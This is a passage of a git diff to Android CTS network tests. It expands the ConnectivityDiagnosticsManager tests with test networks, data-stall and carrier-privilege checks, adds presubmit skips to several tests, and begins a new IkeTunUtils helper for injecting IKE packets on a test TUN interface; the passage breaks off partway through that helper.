+import static android.net.ConnectivityDiagnosticsManager.persistableBundleEquals;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_VPN;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_TRUSTED;
+import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
+import static android.net.NetworkCapabilities.TRANSPORT_TEST;
+import static android.net.cts.util.CtsNetUtils.TestNetworkCallback;
 
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
+import android.annotation.NonNull;
+import android.content.BroadcastReceiver;
 import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
 import android.net.ConnectivityDiagnosticsManager;
+import android.net.ConnectivityManager;
+import android.net.LinkAddress;
+import android.net.Network;
+import android.net.NetworkCapabilities;
 import android.net.NetworkRequest;
+import android.net.TestNetworkInterface;
+import android.net.TestNetworkManager;
+import android.os.Binder;
 import android.os.Build;
+import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
+import android.os.PersistableBundle;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+import android.telephony.CarrierConfigManager;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.util.Pair;
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.internal.telephony.uicc.IccUtils;
+import com.android.internal.util.ArrayUtils;
+import com.android.testutils.ArrayTrackRecord;
 import com.android.testutils.DevSdkIgnoreRule.IgnoreUpTo;
 import com.android.testutils.DevSdkIgnoreRunner;
+import com.android.testutils.SkipPresubmit;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.security.MessageDigest;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
 
 @RunWith(DevSdkIgnoreRunner.class)
 @IgnoreUpTo(Build.VERSION_CODES.Q) // ConnectivityDiagnosticsManager did not exist in Q
+@AppModeFull(reason = "CHANGE_NETWORK_STATE, MANAGE_TEST_NETWORKS not grantable to instant apps")
 public class ConnectivityDiagnosticsManagerTest {
+    private static final int CALLBACK_TIMEOUT_MILLIS = 5000;
+    private static final int NO_CALLBACK_INVOKED_TIMEOUT = 500;
+    private static final long TIMESTAMP = 123456789L;
+    private static final int DNS_CONSECUTIVE_TIMEOUTS = 5;
+    private static final int COLLECTION_PERIOD_MILLIS = 5000;
+    private static final int FAIL_RATE_PERCENTAGE = 100;
+    private static final int UNKNOWN_DETECTION_METHOD = 4;
+    private static final int FILTERED_UNKNOWN_DETECTION_METHOD = 0;
+    private static final int CARRIER_CONFIG_CHANGED_BROADCAST_TIMEOUT = 5000;
+    private static final int DELAY_FOR_ADMIN_UIDS_MILLIS = 2000;
+
     private static final Executor INLINE_EXECUTOR = x -> x.run();
-    private static final NetworkRequest DEFAULT_REQUEST = new NetworkRequest.Builder().build();
+
+    private static final NetworkRequest TEST_NETWORK_REQUEST =
+            new NetworkRequest.Builder()
+                    .addTransportType(TRANSPORT_TEST)
+                    .removeCapability(NET_CAPABILITY_TRUSTED)
+                    .removeCapability(NET_CAPABILITY_NOT_VPN)
+                    .build();
+
+    private static final String SHA_256 = "SHA-256";
+
+    private static final NetworkRequest CELLULAR_NETWORK_REQUEST =
+            new NetworkRequest.Builder().addTransportType(TRANSPORT_CELLULAR).build();
+
+    private static final IBinder BINDER = new Binder();
 
     private Context mContext;
+    private ConnectivityManager mConnectivityManager;
     private ConnectivityDiagnosticsManager mCdm;
-    private ConnectivityDiagnosticsCallback mCallback;
+    private CarrierConfigManager mCarrierConfigManager;
+    private PackageManager mPackageManager;
+    private TelephonyManager mTelephonyManager;
+
+    // Callback used to keep TestNetworks up when there are no other outstanding NetworkRequests
+    // for it.
+    private TestNetworkCallback mTestNetworkCallback;
+    private Network mTestNetwork;
+    private ParcelFileDescriptor mTestNetworkFD;
+
+    private List<TestConnectivityDiagnosticsCallback> mRegisteredCallbacks;
 
     @Before
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getContext();
+        mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
         mCdm = mContext.getSystemService(ConnectivityDiagnosticsManager.class);
+        mCarrierConfigManager = mContext.getSystemService(CarrierConfigManager.class);
+        mPackageManager = mContext.getPackageManager();
+        mTelephonyManager = mContext.getSystemService(TelephonyManager.class);
 
-        mCallback = new ConnectivityDiagnosticsCallback() {};
+        mTestNetworkCallback = new TestNetworkCallback();
+        mConnectivityManager.requestNetwork(TEST_NETWORK_REQUEST, mTestNetworkCallback);
+
+        mRegisteredCallbacks = new ArrayList<>();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mConnectivityManager.unregisterNetworkCallback(mTestNetworkCallback);
+        if (mTestNetwork != null) {
+            runWithShellPermissionIdentity(() -> {
+                final TestNetworkManager tnm = mContext.getSystemService(TestNetworkManager.class);
+                tnm.teardownTestNetwork(mTestNetwork);
+            });
+            mTestNetwork = null;
+        }
+
+        if (mTestNetworkFD != null) {
+            mTestNetworkFD.close();
+            mTestNetworkFD = null;
+        }
+
+        for (TestConnectivityDiagnosticsCallback cb : mRegisteredCallbacks) {
+            mCdm.unregisterConnectivityDiagnosticsCallback(cb);
+        }
     }
 
     @Test
-    public void testRegisterConnectivityDiagnosticsCallback() {
-        mCdm.registerConnectivityDiagnosticsCallback(DEFAULT_REQUEST, INLINE_EXECUTOR, mCallback);
+    public void testRegisterConnectivityDiagnosticsCallback() throws Exception {
+        mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
+        mTestNetwork = mTestNetworkCallback.waitForAvailable();
+
+        final TestConnectivityDiagnosticsCallback cb =
+                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
+
+        final String interfaceName =
+                mConnectivityManager.getLinkProperties(mTestNetwork).getInterfaceName();
+
+        cb.expectOnConnectivityReportAvailable(mTestNetwork, interfaceName);
+        cb.assertNoCallback();
+    }
+
+    @SkipPresubmit(reason = "Flaky: b/159718782; add to presubmit after fixing")
+    @Test
+    public void testRegisterCallbackWithCarrierPrivileges() throws Exception {
+        assumeTrue(mPackageManager.hasSystemFeature(FEATURE_TELEPHONY));
+
+        final int subId = SubscriptionManager.getDefaultSubscriptionId();
+        if (subId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
+            fail("Need an active subscription. Please ensure that the device has working mobile"
+                    + " data.");
+        }
+
+        final CarrierConfigReceiver carrierConfigReceiver = new CarrierConfigReceiver(subId);
+        mContext.registerReceiver(
+                carrierConfigReceiver,
+                new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED));
+
+        final TestNetworkCallback testNetworkCallback = new TestNetworkCallback();
+
+        try {
+            doBroadcastCarrierConfigsAndVerifyOnConnectivityReportAvailable(
+                    subId, carrierConfigReceiver, testNetworkCallback);
+        } finally {
+            runWithShellPermissionIdentity(
+                    () -> mCarrierConfigManager.overrideConfig(subId, null),
+                    android.Manifest.permission.MODIFY_PHONE_STATE);
+            mConnectivityManager.unregisterNetworkCallback(testNetworkCallback);
+            mContext.unregisterReceiver(carrierConfigReceiver);
+        }
+    }
+
+    private String getCertHashForThisPackage() throws Exception {
+        final PackageInfo pkgInfo =
+                mPackageManager.getPackageInfo(
+                        mContext.getOpPackageName(), PackageManager.GET_SIGNATURES);
+        final MessageDigest md = MessageDigest.getInstance(SHA_256);
+        final byte[] certHash = md.digest(pkgInfo.signatures[0].toByteArray());
+        return IccUtils.bytesToHexString(certHash);
+    }
+
+    private void doBroadcastCarrierConfigsAndVerifyOnConnectivityReportAvailable(
+            int subId,
+            @NonNull CarrierConfigReceiver carrierConfigReceiver,
+            @NonNull TestNetworkCallback testNetworkCallback)
+            throws Exception {
+        final PersistableBundle carrierConfigs = new PersistableBundle();
+        carrierConfigs.putStringArray(
+                CarrierConfigManager.KEY_CARRIER_CERTIFICATE_STRING_ARRAY,
+                new String[] {getCertHashForThisPackage()});
+
+        runWithShellPermissionIdentity(
+                () -> {
+                    mCarrierConfigManager.overrideConfig(subId, carrierConfigs);
+                    mCarrierConfigManager.notifyConfigChangedForSubId(subId);
+                },
+                android.Manifest.permission.MODIFY_PHONE_STATE);
+
+        // TODO(b/157779832): This should use android.permission.CHANGE_NETWORK_STATE. However, the
+        // shell does not have CHANGE_NETWORK_STATE, so use CONNECTIVITY_INTERNAL until the shell
+        // permissions are updated.
+        runWithShellPermissionIdentity(
+                () -> mConnectivityManager.requestNetwork(
+                        CELLULAR_NETWORK_REQUEST, testNetworkCallback),
+                android.Manifest.permission.CONNECTIVITY_INTERNAL);
+
+        final Network network = testNetworkCallback.waitForAvailable();
+        assertNotNull(network);
+
+        assertTrue("Didn't receive broadcast for ACTION_CARRIER_CONFIG_CHANGED for subId=" + subId,
+                carrierConfigReceiver.waitForCarrierConfigChanged());
+        assertTrue("Don't have Carrier Privileges after adding cert for this package",
+                mTelephonyManager.createForSubscriptionId(subId).hasCarrierPrivileges());
+
+        // Wait for CarrierPrivilegesTracker to receive the ACTION_CARRIER_CONFIG_CHANGED
+        // broadcast. CPT then needs to update the corresponding DataConnection, which then
+        // updates ConnectivityService. Unfortunately, this update to the NetworkCapabilities in
+        // CS does not trigger NetworkCallback#onCapabilitiesChanged as changing the
+        // administratorUids is not a publicly visible change. In lieu of a better signal to
+        // detministically wait for, use Thread#sleep here.
+        // TODO(b/157949581): replace this Thread#sleep with a deterministic signal
+        Thread.sleep(DELAY_FOR_ADMIN_UIDS_MILLIS);
+
+        final TestConnectivityDiagnosticsCallback connDiagsCallback =
+                createAndRegisterConnectivityDiagnosticsCallback(CELLULAR_NETWORK_REQUEST);
+
+        final String interfaceName =
+                mConnectivityManager.getLinkProperties(network).getInterfaceName();
+        connDiagsCallback.expectOnConnectivityReportAvailable(
+                network, interfaceName, TRANSPORT_CELLULAR);
+        connDiagsCallback.assertNoCallback();
     }
 
     @Test
     public void testRegisterDuplicateConnectivityDiagnosticsCallback() {
-        mCdm.registerConnectivityDiagnosticsCallback(DEFAULT_REQUEST, INLINE_EXECUTOR, mCallback);
+        final TestConnectivityDiagnosticsCallback cb =
+                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
 
         try {
-            mCdm.registerConnectivityDiagnosticsCallback(
-                    DEFAULT_REQUEST, INLINE_EXECUTOR, mCallback);
+            mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
             fail("Registering the same callback twice should throw an IllegalArgumentException");
         } catch (IllegalArgumentException expected) {
         }
@@ -73,13 +296,277 @@
 
     @Test
     public void testUnregisterConnectivityDiagnosticsCallback() {
-        mCdm.registerConnectivityDiagnosticsCallback(DEFAULT_REQUEST, INLINE_EXECUTOR, mCallback);
-        mCdm.unregisterConnectivityDiagnosticsCallback(mCallback);
+        final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
+        mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
+        mCdm.unregisterConnectivityDiagnosticsCallback(cb);
     }
 
     @Test
     public void testUnregisterUnknownConnectivityDiagnosticsCallback() {
         // Expected to silently ignore the unregister() call
-        mCdm.unregisterConnectivityDiagnosticsCallback(mCallback);
+        mCdm.unregisterConnectivityDiagnosticsCallback(new TestConnectivityDiagnosticsCallback());
+    }
+
+    @Test
+    public void testOnConnectivityReportAvailable() throws Exception {
+        final TestConnectivityDiagnosticsCallback cb =
+                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
+
+        mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
+        mTestNetwork = mTestNetworkCallback.waitForAvailable();
+
+        final String interfaceName =
+                mConnectivityManager.getLinkProperties(mTestNetwork).getInterfaceName();
+
+        cb.expectOnConnectivityReportAvailable(mTestNetwork, interfaceName);
+        cb.assertNoCallback();
+    }
+
+    @Test
+    public void testOnDataStallSuspected_DnsEvents() throws Exception {
+        final PersistableBundle extras = new PersistableBundle();
+        extras.putInt(KEY_DNS_CONSECUTIVE_TIMEOUTS, DNS_CONSECUTIVE_TIMEOUTS);
+
+        verifyOnDataStallSuspected(DETECTION_METHOD_DNS_EVENTS, TIMESTAMP, extras);
+    }
+
+    @Test
+    public void testOnDataStallSuspected_TcpMetrics() throws Exception {
+        final PersistableBundle extras = new PersistableBundle();
+        extras.putInt(KEY_TCP_METRICS_COLLECTION_PERIOD_MILLIS, COLLECTION_PERIOD_MILLIS);
+        extras.putInt(KEY_TCP_PACKET_FAIL_RATE, FAIL_RATE_PERCENTAGE);
+
+        verifyOnDataStallSuspected(DETECTION_METHOD_TCP_METRICS, TIMESTAMP, extras);
+    }
+
+    @Test
+    public void testOnDataStallSuspected_UnknownDetectionMethod() throws Exception {
+        verifyOnDataStallSuspected(
+                UNKNOWN_DETECTION_METHOD,
+                FILTERED_UNKNOWN_DETECTION_METHOD,
+                TIMESTAMP,
+                PersistableBundle.EMPTY);
+    }
+
+    private void verifyOnDataStallSuspected(
+            int detectionMethod, long timestampMillis, @NonNull PersistableBundle extras)
+            throws Exception {
+        // Input detection method is expected to match received detection method
+        verifyOnDataStallSuspected(detectionMethod, detectionMethod, timestampMillis, extras);
+    }
+
+    private void verifyOnDataStallSuspected(
+            int inputDetectionMethod,
+            int expectedDetectionMethod,
+            long timestampMillis,
+            @NonNull PersistableBundle extras)
+            throws Exception {
+        mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
+        mTestNetwork = mTestNetworkCallback.waitForAvailable();
+
+        final TestConnectivityDiagnosticsCallback cb =
+                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
+
+        final String interfaceName =
+                mConnectivityManager.getLinkProperties(mTestNetwork).getInterfaceName();
+
+        cb.expectOnConnectivityReportAvailable(mTestNetwork, interfaceName);
+
+        runWithShellPermissionIdentity(
+                () -> mConnectivityManager.simulateDataStall(
+                        inputDetectionMethod, timestampMillis, mTestNetwork, extras),
+                android.Manifest.permission.MANAGE_TEST_NETWORKS);
+
+        cb.expectOnDataStallSuspected(
+                mTestNetwork, interfaceName, expectedDetectionMethod, timestampMillis, extras);
+        cb.assertNoCallback();
+    }
+
+    @Test
+    public void testOnNetworkConnectivityReportedTrue() throws Exception {
+        verifyOnNetworkConnectivityReported(true /* hasConnectivity */);
+    }
+
+    @Test
+    public void testOnNetworkConnectivityReportedFalse() throws Exception {
+        verifyOnNetworkConnectivityReported(false /* hasConnectivity */);
+    }
+
+    private void verifyOnNetworkConnectivityReported(boolean hasConnectivity) throws Exception {
+        mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
+        mTestNetwork = mTestNetworkCallback.waitForAvailable();
+
+        final TestConnectivityDiagnosticsCallback cb =
+                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
+
+        // onConnectivityReportAvailable always invoked when the test network is established
+        final String interfaceName =
+                mConnectivityManager.getLinkProperties(mTestNetwork).getInterfaceName();
+        cb.expectOnConnectivityReportAvailable(mTestNetwork, interfaceName);
+        cb.assertNoCallback();
+
+        mConnectivityManager.reportNetworkConnectivity(mTestNetwork, hasConnectivity);
+
+        cb.expectOnNetworkConnectivityReported(mTestNetwork, hasConnectivity);
+
+        // if hasConnectivity does not match the network's known connectivity, it will be
+        // revalidated which will trigger another onConnectivityReportAvailable callback.
+        if (!hasConnectivity) {
+            cb.expectOnConnectivityReportAvailable(mTestNetwork, interfaceName);
+        }
+
+        cb.assertNoCallback();
+    }
+
+    private TestConnectivityDiagnosticsCallback createAndRegisterConnectivityDiagnosticsCallback(
+            NetworkRequest request) {
+        final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
+        mCdm.registerConnectivityDiagnosticsCallback(request, INLINE_EXECUTOR, cb);
+        mRegisteredCallbacks.add(cb);
+        return cb;
+    }
+
+    /**
+     * Registers a test NetworkAgent with ConnectivityService with limited capabilities, which leads
+     * to the Network being validated.
+     */
+    @NonNull
+    private TestNetworkInterface setUpTestNetwork() throws Exception {
+        final int[] administratorUids = new int[] {Process.myUid()};
+        return callWithShellPermissionIdentity(
+                () -> {
+                    final TestNetworkManager tnm =
+                            mContext.getSystemService(TestNetworkManager.class);
+                    final TestNetworkInterface tni = tnm.createTunInterface(new LinkAddress[0]);
+                    tnm.setupTestNetwork(tni.getInterfaceName(), administratorUids, BINDER);
+                    return tni;
+                });
+    }
+
+    private static class TestConnectivityDiagnosticsCallback
+            extends ConnectivityDiagnosticsCallback {
+        private final ArrayTrackRecord<Object>.ReadHead mHistory =
+                new ArrayTrackRecord<Object>().newReadHead();
+
+        @Override
+        public void onConnectivityReportAvailable(ConnectivityReport report) {
+            mHistory.add(report);
+        }
+
+        @Override
+        public void onDataStallSuspected(DataStallReport report) {
+            mHistory.add(report);
+        }
+
+        @Override
+        public void onNetworkConnectivityReported(Network network, boolean hasConnectivity) {
+            mHistory.add(new Pair<Network, Boolean>(network, hasConnectivity));
+        }
+
+        public void expectOnConnectivityReportAvailable(
+                @NonNull Network network, @NonNull String interfaceName) {
+            expectOnConnectivityReportAvailable(network, interfaceName, TRANSPORT_TEST);
+        }
+
+        public void expectOnConnectivityReportAvailable(
+                @NonNull Network network, @NonNull String interfaceName, int transportType) {
+            final ConnectivityReport result =
+                    (ConnectivityReport) mHistory.poll(CALLBACK_TIMEOUT_MILLIS, x -> true);
+            assertEquals(network, result.getNetwork());
+
+            final NetworkCapabilities nc = result.getNetworkCapabilities();
+            assertNotNull(nc);
+            assertTrue(nc.hasTransport(transportType));
+            assertNotNull(result.getLinkProperties());
+            assertEquals(interfaceName, result.getLinkProperties().getInterfaceName());
+
+            final PersistableBundle extras = result.getAdditionalInfo();
+            assertTrue(extras.containsKey(KEY_NETWORK_VALIDATION_RESULT));
+            final int validationResult = extras.getInt(KEY_NETWORK_VALIDATION_RESULT);
+            assertEquals("Network validation result is not 'valid'",
+                    NETWORK_VALIDATION_RESULT_VALID, validationResult);
+
+            assertTrue(extras.containsKey(KEY_NETWORK_PROBES_SUCCEEDED_BITMASK));
+            final int probesSucceeded = extras.getInt(KEY_NETWORK_VALIDATION_RESULT);
+            assertTrue("PROBES_SUCCEEDED mask not in expected range", probesSucceeded >= 0);
+
+            assertTrue(extras.containsKey(KEY_NETWORK_PROBES_ATTEMPTED_BITMASK));
+            final int probesAttempted = extras.getInt(KEY_NETWORK_PROBES_ATTEMPTED_BITMASK);
+            assertTrue("PROBES_ATTEMPTED mask not in expected range", probesAttempted >= 0);
+        }
+
+        public void expectOnDataStallSuspected(
+                @NonNull Network network,
+                @NonNull String interfaceName,
+                int detectionMethod,
+                long timestampMillis,
+                @NonNull PersistableBundle extras) {
+            final DataStallReport result =
+                    (DataStallReport) mHistory.poll(CALLBACK_TIMEOUT_MILLIS, x -> true);
+            assertEquals(network, result.getNetwork());
+            assertEquals(detectionMethod, result.getDetectionMethod());
+            assertEquals(timestampMillis, result.getReportTimestamp());
+
+            final NetworkCapabilities nc = result.getNetworkCapabilities();
+            assertNotNull(nc);
+            assertTrue(nc.hasTransport(TRANSPORT_TEST));
+            assertNotNull(result.getLinkProperties());
+            assertEquals(interfaceName, result.getLinkProperties().getInterfaceName());
+
+            assertTrue(persistableBundleEquals(extras, result.getStallDetails()));
+        }
+
+        public void expectOnNetworkConnectivityReported(
+                @NonNull Network network, boolean hasConnectivity) {
+            final Pair<Network, Boolean> result =
+                    (Pair<Network, Boolean>) mHistory.poll(CALLBACK_TIMEOUT_MILLIS, x -> true);
+            assertEquals(network, result.first /* network */);
+            assertEquals(hasConnectivity, result.second /* hasConnectivity */);
+        }
+
+        public void assertNoCallback() {
+            // If no more callbacks exist, there should be nothing left in the ReadHead
+            assertNull("Unexpected event in history",
+                    mHistory.poll(NO_CALLBACK_INVOKED_TIMEOUT, x -> true));
+        }
+    }
+
+    private class CarrierConfigReceiver extends BroadcastReceiver {
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+        private final int mSubId;
+
+        CarrierConfigReceiver(int subId) {
+            mSubId = subId;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (!CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
+                return;
+            }
+
+            final int subId =
+                    intent.getIntExtra(
+                            CarrierConfigManager.EXTRA_SUBSCRIPTION_INDEX,
+                            SubscriptionManager.INVALID_SUBSCRIPTION_ID);
+            if (mSubId != subId) return;
+
+            final PersistableBundle carrierConfigs = mCarrierConfigManager.getConfigForSubId(subId);
+            if (!CarrierConfigManager.isConfigForIdentifiedCarrier(carrierConfigs)) return;
+
+            final String[] certs =
+                    carrierConfigs.getStringArray(
+                            CarrierConfigManager.KEY_CARRIER_CERTIFICATE_STRING_ARRAY);
+            try {
+                if (ArrayUtils.contains(certs, getCertHashForThisPackage())) {
+                    mLatch.countDown();
+                }
+            } catch (Exception e) {
+            }
+        }
+
+        boolean waitForCarrierConfigChanged() throws Exception {
+            return mLatch.await(CARRIER_CONFIG_CHANGED_BROADCAST_TIMEOUT, TimeUnit.MILLISECONDS);
+        }
     }
 }
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index d498ed9..3880664 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -96,6 +96,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.internal.util.ArrayUtils;
+import com.android.testutils.SkipPresubmit;
 
 import libcore.io.Streams;
 
@@ -325,6 +326,7 @@
      */
     @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
     @Test
+    @SkipPresubmit(reason = "Virtual devices use a single internet connection for all networks")
     public void testOpenConnection() throws Exception {
         boolean canRunTest = mPackageManager.hasSystemFeature(FEATURE_WIFI)
                 && mPackageManager.hasSystemFeature(FEATURE_TELEPHONY);
@@ -990,6 +992,7 @@
 
     @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
     @Test
+    @SkipPresubmit(reason = "Keepalive is not supported on virtual hardware")
     public void testCreateTcpKeepalive() throws Exception {
         if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
             Log.i(TAG, "testCreateTcpKeepalive cannot execute unless device supports WiFi");
@@ -1199,6 +1202,7 @@
      */
     @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
     @Test
+    @SkipPresubmit(reason = "Keepalive is not supported on virtual hardware")
     public void testSocketKeepaliveLimitWifi() throws Exception {
         if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
             Log.i(TAG, "testSocketKeepaliveLimitWifi cannot execute unless device"
@@ -1252,6 +1256,7 @@
      */
     @AppModeFull(reason = "Cannot request network in instant app mode")
     @Test
+    @SkipPresubmit(reason = "Keepalive is not supported on virtual hardware")
     public void testSocketKeepaliveLimitTelephony() throws Exception {
         if (!mPackageManager.hasSystemFeature(FEATURE_TELEPHONY)) {
             Log.i(TAG, "testSocketKeepaliveLimitTelephony cannot execute unless device"
@@ -1294,6 +1299,7 @@
      */
     @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
     @Test
+    @SkipPresubmit(reason = "Keepalive is not supported on virtual hardware")
     public void testSocketKeepaliveUnprivileged() throws Exception {
         if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
             Log.i(TAG, "testSocketKeepaliveUnprivileged cannot execute unless device"
diff --git a/tests/tests/net/src/android/net/cts/DnsResolverTest.java b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
index 28753ff..4acbbcf 100644
--- a/tests/tests/net/src/android/net/cts/DnsResolverTest.java
+++ b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
@@ -30,7 +30,6 @@
 import android.content.ContentResolver;
 import android.net.ConnectivityManager;
 import android.net.ConnectivityManager.NetworkCallback;
-import android.net.DnsPacket;
 import android.net.DnsResolver;
 import android.net.LinkProperties;
 import android.net.Network;
@@ -47,6 +46,9 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.net.module.util.DnsPacket;
+import com.android.testutils.SkipPresubmit;
+
 import java.net.Inet4Address;
 import java.net.Inet6Address;
 import java.net.InetAddress;
@@ -584,6 +586,7 @@
         doTestContinuousQueries(mExecutor);
     }
 
+    @SkipPresubmit(reason = "Flaky: b/159762682; add to presubmit after fixing")
     public void testContinuousQueriesInline() throws Exception {
         doTestContinuousQueries(mExecutorInline);
     }
diff --git a/tests/tests/net/src/android/net/cts/DnsTest.java b/tests/tests/net/src/android/net/cts/DnsTest.java
index 746dcb0..fde27e9 100644
--- a/tests/tests/net/src/android/net/cts/DnsTest.java
+++ b/tests/tests/net/src/android/net/cts/DnsTest.java
@@ -27,6 +27,8 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import com.android.testutils.SkipPresubmit;
+
 import java.net.Inet4Address;
 import java.net.Inet6Address;
 import java.net.InetAddress;
@@ -68,6 +70,7 @@
      * Perf - measure size of first and second tier caches and their effect
      * Assert requires network permission
      */
+    @SkipPresubmit(reason = "IPv6 support may be missing on presubmit virtual hardware")
     public void testDnsWorks() throws Exception {
         ensureIpv6Connectivity();
 
diff --git a/tests/tests/net/src/android/net/cts/IkeTunUtils.java b/tests/tests/net/src/android/net/cts/IkeTunUtils.java
new file mode 100644
index 0000000..fc25292
--- /dev/null
+++ b/tests/tests/net/src/android/net/cts/IkeTunUtils.java
@@ -0,0 +1,188 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.net.cts;
+
+import static android.net.cts.PacketUtils.BytePayload;
+import static android.net.cts.PacketUtils.IP4_HDRLEN;
+import static android.net.cts.PacketUtils.IP6_HDRLEN;
+import static android.net.cts.PacketUtils.IpHeader;
+import static android.net.cts.PacketUtils.UDP_HDRLEN;
+import static android.net.cts.PacketUtils.UdpHeader;
+import static android.net.cts.PacketUtils.getIpHeader;
+import static android.system.OsConstants.IPPROTO_UDP;
+
+import android.os.ParcelFileDescriptor;
+
+import java.net.InetAddress;
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+
+// TODO: Merge this with the version in the IPsec module (IKEv2 library) CTS tests.
+/** An extension of the TunUtils class with IKE-specific packet handling. */
+public class IkeTunUtils extends TunUtils {
+    private static final int PORT_LEN = 2;
+
+    private static final byte[] NON_ESP_MARKER = new byte[] {0, 0, 0, 0};
+
+    private static final int IKE_HEADER_LEN = 28;
+    private static final int IKE_SPI_LEN = 8;
+    private static final int IKE_IS_RESP_BYTE_OFFSET = 19;
+    private static final int IKE_MSG_ID_OFFSET = 20;
+    private static final int IKE_MSG_ID_LEN = 4;
+
+    public IkeTunUtils(ParcelFileDescriptor tunFd) {
+        super(tunFd);
+    }
+
+    /**
+     * Await an expected IKE request and inject an IKE response.
+     *
+     * @param respIkePkt IKE response packet without IP/UDP headers or NON ESP MARKER.
+     */
+    public byte[] awaitReqAndInjectResp(long expectedInitIkeSpi, int expectedMsgId,
+            boolean encapExpected, byte[] respIkePkt) throws Exception {
+        final byte[] request = awaitIkePacket(expectedInitIkeSpi, expectedMsgId, encapExpected);
+
+        // Build response header by flipping address and port
+        final InetAddress srcAddr = getDstAddress(request);
+        final InetAddress dstAddr = getSrcAddress(request);
+        final int srcPort = getDstPort(request);
+        final int dstPort = getSrcPort(request);
+
+        final byte[] response =
+                buildIkePacket(srcAddr, dstAddr, srcPort, dstPort, encapExpected, respIkePkt);
+        injectPacket(response);
+        return request;
+    }
+
+    private byte[] awaitIkePacket(long expectedInitIkeSpi, int expectedMsgId, boolean expectEncap)
+            throws Exception {
+        return super.awaitPacket(pkt -> isIke(pkt, expectedInitIkeSpi, expectedMsgId, expectEncap));
+    }
+
+    private static boolean isIke(
+            byte[] pkt, long expectedInitIkeSpi, int expectedMsgId, boolean encapExpected) {
+        final int ipProtocolOffset;
+        final int ikeOffset;
+
+        if (isIpv6(pkt)) {
+            ipProtocolOffset = IP6_PROTO_OFFSET;
+            ikeOffset = IP6_HDRLEN + UDP_HDRLEN;
+        } else {
+            if (encapExpected && !hasNonEspMarkerv4(pkt)) {
+                return false;
+            }
+
+            // Use default IPv4 header length (assuming no options)
+            final int encapMarkerLen = encapExpected ? NON_ESP_MARKER.length : 0;
+            ipProtocolOffset = IP4_PROTO_OFFSET;
+            ikeOffset = IP4_HDRLEN + UDP_HDRLEN + encapMarkerLen;
+        }
+
+        return pkt[ipProtocolOffset] == IPPROTO_UDP
+                && areSpiAndMsgIdEqual(pkt, ikeOffset, expectedInitIkeSpi, expectedMsgId);
+    }
+
+    /** Checks if the provided IPv4 packet has a UDP-encapsulation NON-ESP marker */
+    private static boolean hasNonEspMarkerv4(byte[] ipv4Pkt) {
+        final int nonEspMarkerOffset = IP4_HDRLEN + UDP_HDRLEN;
+        if (ipv4Pkt.length < nonEspMarkerOffset + NON_ESP_MARKER.length) {
+            return false;
+        }
+
